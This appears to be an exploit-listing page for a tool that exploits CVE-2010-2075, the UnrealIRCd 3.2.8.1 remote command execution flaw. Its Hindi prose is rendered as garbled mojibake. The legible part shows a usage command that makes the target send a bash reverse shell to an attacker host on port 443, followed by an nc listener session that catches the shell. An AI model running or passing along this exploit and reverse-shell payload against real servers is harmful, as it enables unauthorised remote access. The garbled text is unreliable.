## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-FREDBRAVE-CVE-2010-2075-UNREALIRCD-3.2.8.1
# CVE-2010-2075
CVE:2010-2075 рдХреЗ рд▓рд┐рдП рд╢реЛрд╖рдгред рдпрд╣ рд╢реЛрд╖рдг UnrealIRCd 3.2.8.1 рдореЗрдВ рджреВрд░рд╕реНрде рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрди рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред
# рдЖрд╡рд╢реНрдпрдХрддрд╛рдПрдБ
optparse, signal
# рдЙрдкрдпреЛрдЧ
рдЖрдк рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдХрдорд╛рдВрдб рднреЗрдЬ рд╕рдХрддреЗ рд╣реИрдВ, рд▓реЗрдХрд┐рди рдХрдИ рдмрд╛рд░ рдпрд╣ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдирд╣реАрдВ рджреЗрдЧрд╛, рд▓реЗрдХрд┐рди рдЖрдк рдмрд╕ рдПрдХ рд░рд┐рд╡рд░реНрд╕ рд╢реЗрд▓ рднреЗрдЬ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдЙрд╕рдХреЗ рдЖрдиреЗ рдХреА рдкреНрд░рддреАрдХреНрд╖рд╛ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред
root@kitploit:~
python3 CVE-2010-2075.py -t 10.0.2.119 -p 6667 -c 'bash -c "bash -i >& /dev/tcp/10.0.2.48/443 0>&1"'
рдХрдиреЗрдХреНрд╢рди рдмрдирд╛рдирд╛
рдкреЗрд▓реЛрдб рдмрдирд╛рдирд╛
[*]рдкреЗрд▓реЛрдб рднреЗрдЬ рд░рд╣рд╛ рд╣реИ...
рдФрд░ рдореБрдЭреЗ рд╢реЗрд▓ рдкреНрд░рд╛рдкреНрдд рд╣реБрдЖ
root@kitploit:~
nc -nlvp 443
[any] 443 рдкрд░ рд╕реБрди рд░рд╣рд╛ рд╣реИ ...
[10.0.2.48] рд╕реЗ (рдЕрдЬреНрдЮрд╛рдд) [10.0.2.119] 56916 рд╕реЗ рдХрдиреЗрдХреНрдЯ
bash: рдЯрд░реНрдорд┐рдирд▓ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рд╕рдореВрд╣ (415) рд╕реЗрдЯ рдирд╣реАрдВ рдХрд░ рд╕рдХрддрд╛: рдбрд┐рд╡рд╛рдЗрд╕ рдХреЗ рд▓рд┐рдП рдЕрдиреБрдкрдпреБрдХреНрдд ioctl
bash: рдЗрд╕ рд╢реЗрд▓ рдореЗрдВ рдХреЛрдИ рдЬреЙрдм рдирд┐рдпрдВрддреНрд░рдг рдирд╣реАрдВ
server@real:~/irc/Unreal3.2$